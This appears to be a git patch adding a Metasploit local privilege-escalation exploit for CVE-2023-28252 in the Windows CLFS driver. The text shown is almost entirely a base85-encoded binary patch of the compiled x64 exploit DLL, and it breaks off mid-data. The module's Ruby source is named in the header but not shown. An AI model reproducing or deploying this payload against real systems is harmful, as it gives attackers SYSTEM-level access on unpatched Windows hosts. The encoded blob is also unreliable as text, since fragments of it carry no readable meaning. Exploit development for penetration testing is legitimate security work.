From 416124705fa2904954c724b40cac08b9c1f6b561 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 28 Jul 2023 03:43:37 -0400 Subject: [PATCH 1/8] Working in metasploit --- .../CVE-2023-28252/CVE-2023-28252.x64.dll | Bin 0 -> 320000 bytes .../local/cve_2023_28252_clfs_driver.rb | 116 ++++++++++++++++++ 2 files changed, 116 insertions(+) create mode 100755 data/exploits/CVE-2023-28252/CVE-2023-28252.x64.dll create mode 100644 modules/exploits/windows/local/cve_2023_28252_clfs_driver.rb diff --git a/data/exploits/CVE-2023-28252/CVE-2023-28252.x64.dll b/data/exploits/CVE-2023-28252/CVE-2023-28252.x64.dll new file mode 100755 index 0000000000000000000000000000000000000000..737b7182d06e79ba6373d7eda4cd116e1c1c8d30 GIT binary patch literal 320000 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 